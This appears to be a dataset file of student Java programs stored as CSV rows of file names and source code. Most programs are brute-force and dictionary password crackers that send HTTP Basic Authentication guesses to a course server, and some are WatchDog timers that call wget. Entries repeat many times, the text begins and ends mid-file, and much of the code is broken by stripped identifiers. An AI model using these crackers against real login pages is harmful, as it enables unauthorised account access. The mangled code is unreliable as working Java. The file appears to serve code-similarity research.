System.out.println(""Process started at: ""+format.format(endDate)); double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; System.out.println(""Time taken: ""+timeTaken+"" minutes""); System.exit(0); } else { System.out.println(""Password: \""""+password+""\"" Failed!""); return; } } catch(Exception e) { e.printStackTrace(); } } public static boolean login(URLConnection conn, String user, String pass) { try { String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); conn.setRequestProperty (""Authorization"", encodeAuth); conn.connect(); conn.getInputStream(); } catch(Exception e) { return false; } return true; } } ",224.java," import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class Dictionary extends Thread { private static final String USERNAME = """"; private static final String DICTIONARY_FILE = ""/usr/share/lib/dict/words""; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public Dictionary(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println(""Invalid usage!""); System.err.println(""Usage: java Dictionary ""); System.exit(1); } try { dic(args[0], USERNAME); } catch(Exception e) { e.printStackTrace(); System.exit(1); } } public static void dic(String address, String user) { Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD]; int index = 0; startDate = new Date(); try { BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE)); String password = null; while((password = buff.readLine()) != null) { if (threads[index] != null && threads[index].isAlive()) { try { threads[index].join(); } catch(InterruptedException e) {} } threads[index] = new Dictionary(address, password.trim()); threads[index].get(); index = (index++) % threads.length; } } catch(Exception e) { e.printStackTrace(); } } public void run() { if (endDate != null) return; try { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); if (login(conn, USERNAME, password)) { endDate = new Date(); System.out.println(""Found the password: \""""+password+""\""!""); SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); System.out.println(""Process started at: ""+format.format(startDate)); System.out.println(""Process started at: ""+format.format(endDate)); double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; System.out.println(""Time taken: ""+timeTaken+"" minutes""); System.exit(0); } else { System.out.println(""Password: \""""+password+""\"" Failed!""); return; } } catch(Exception e) { e.printStackTrace(); } } public static boolean login(URLConnection conn, String user, String pass) { try { String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); conn.setRequestProperty (""Authorization"", encodeAuth); conn.connect(); conn.getInputStream(); } catch(Exception e) { return false; } return true; } } " 135.java," import java.util.*; import java.io.*; public class WatchDog { public static void main(String args[]) { Runtime rt1 = Runtime.getRuntime(); Process prss1= null; try { prss1 = rt1.exec(""wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/""); }catch(java.io.IOException e){} MyWatchDogTimer w = new MyWatchDogTimer(); Timer time = new Timer(); time.schedule(w,864000000,864000000); } } ",174.java," import java.util.*; import java.io.*; public class MyTimer { public static void main(String args[]) { Watchdog watch = new Watchdog(); Timer time = new Timer(); time.schedule(watch,864000000,864000000); } } " 240.java," import java.util.*; import java.io.*; import java.net.*; class Dictionary { public static void main (String a[]) { String pwd=""""; try { BufferedReader bf = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); int i=0; while(bf.readLine() != null) { pwd= bf.readLine(); String userPassword = "":""+pwd; RealThread myTh = new RealThread(i,userPassword); Thread th = new Thread( myTh ); th.start(); try { th.sleep(100); } catch(Exception e) {} i++; } } catch(Exception e ) { System.out.println("" ex while =""+ e); } } } class RealThread implements Runnable { private int num; private URL url; private HttpURLConnection uc =null; private String userPassword; private int responseCode = 100; public RealThread (int i, String userPassword) { try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); } catch(Exception ex1) { } num = i; this.userPassword = userPassword; } public int getResponseCode() { return this.responseCode; } public void run() { try { String encoding = new bf.misc.BASE64Encoder().encode (userPassword.getBytes()); uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); System.out.println(""Reponse = ""+uc.getResponseCode()+""for pwd = ""+userPassword); this.responseCode = uc.getResponseCode(); if(uc.getResponseCode()==200) { System.out.println(""====== Password Found : "" +userPassword+ ""=======================""); System.exit(0); } } catch (Exception e) { System.out.println(""Could not execute Thread ""+num+"" ""); } } } ",238.java," import java.util.*; import java.io.*; import java.net.*; class BruteForce { public static void main (String a[]) { final char [] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; String pwd=""""; for(int i=0;i<52;i++) { for(int j=0;j<52;j++) { for(int k=0;k<52;k++) { pwd = alphabet[i]+""""+alphabet[j]+""""+alphabet[k]; String userPassword = "":""+pwd; RealThread myTh = new RealThread(i,userPassword); Thread th = new Thread( myTh ); th.start(); try { th.sleep(100); } catch(Exception e) {} } } } } } class RealThread implements Runnable { private int num; private URL url; private HttpURLConnection uc =null; private String userPassword; private int responseCode = 100; public RealThread (int i, String userPassword) { try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); } catch(Exception ex1) { } num = i; this.userPassword = userPassword; } public int getResponseCode() { return this.responseCode; } public void run() { try { String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); System.out.println(""Reponse = ""+uc.getResponseCode()+""for pwd = ""+userPassword); this.responseCode = uc.getResponseCode(); if(uc.getResponseCode()==200) { System.out.println("" ======= Password Found : ""+userPassword+"" ========================================= ""); System.exit(0); } } catch (Exception e) { System.out.println(""Could not execute Thread ""+num+"" ""); } } } " 048.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; import java.net.HttpURLConnection; public class BruteForce { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String cad = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",257.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class BruteForce { public final char [ ] letter = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); BruteForce bForce = new BruteForce(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public BruteForce(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; int i, j, k; URL = new URL(urlPath); String let1 = null; String let2 = null; String let3 = null; String usrName = """"; String usrNamePwd = null; String encoding = null; boolean ok = false; connection = (HttpURLConnection).openConnection(); for(i=0; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " 048.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; import java.net.HttpURLConnection; public class BruteForce { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String cad = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",183.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; if (s.length() != 0) { char symbol = 'A'; login="":""; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+login); } public BruteForce() { super (""SEC-CRACK""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 048.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; import java.net.HttpURLConnection; public class BruteForce { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String cad = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",258.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " 048.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; import java.net.HttpURLConnection; public class BruteForce { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String cad = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",051.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 004.java,"import java.io.*; import java.util.*; import java.net.*; import java.net.Authenticator; public class Dictionary { private String result =""""; public class customAuthenticator extends Authenticator { public customAuthenticator(String passwd) { this.pass = passwd; } protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("""",pass.toCharArray()); } public String pass; } public Dictionary() { DataInputStream dis = null; String record = null; int recCount = 0, flag=0; String result=""""; java.util.Date d = java.util.Calendar.getInstance().getTime(); System.out.println(d.toString()); String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; int count=1; String passwd=new String(); HttpURLConnection connection = null; URL u = null; try { u = new URL(url); File f = new File(""/usr/share/lib/dict/words""); FileInputStream fis = new FileInputStream(f); BufferedInputStream bis = new BufferedInputStream(fis); dis = new DataInputStream(bis); while ( (record=dis.readLine()) != null ) { System.out.println(count+ "" ) "" + record); count++; connection = (HttpURLConnection) u.openConnection(); Authenticator.setDefault(new customAuthenticator(record)); if (connection.getResponseCode()==200) { System.out.print(""The password is : ""+record); System.out.println(); java.util.Date d1 = java.util.Calendar.getInstance().getTime(); System.out.println(d1.toString()); System.out.println(""\ntime taken in seconds:""+ (d1.getTime() - d.getTime())/1000+""\n""); System.exit(0); } connection.disconnect(); } } catch(Exception e) { System.err.println(e); } } public static void main(String[] args) { Dictionary = new Dictionary(); } }",003.java,"import java.io.*; import java.util.*; import java.net.*; import java.net.Authenticator; public class BruteForce { private String result =""""; public class customAuthenticator extends Authenticator { public customAuthenticator(String passwd) { this.pass = passwd; } protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("""",pass.toCharArray()); } public String pass; } public BruteForce() { java.util.Date d = java.util.Calendar.getInstance().getTime(); System.out.println(d.toString()); char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p', 'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G', 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; String record = null; String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; char pass[] = {'x','x','x'}; int count=1; String passwd=new String(); HttpURLConnection connection = null; URL u = null; try { u = new URL(url); } catch (MalformedURLException e) { } for(int a=0;a= iEnd) bDone = true; } } } " 183.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; if (s.length() != 0) { char symbol = 'A'; login="":""; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+login); } public BruteForce() { super (""SEC-CRACK""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",048.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; import java.net.HttpURLConnection; public class BruteForce { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String cad = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname 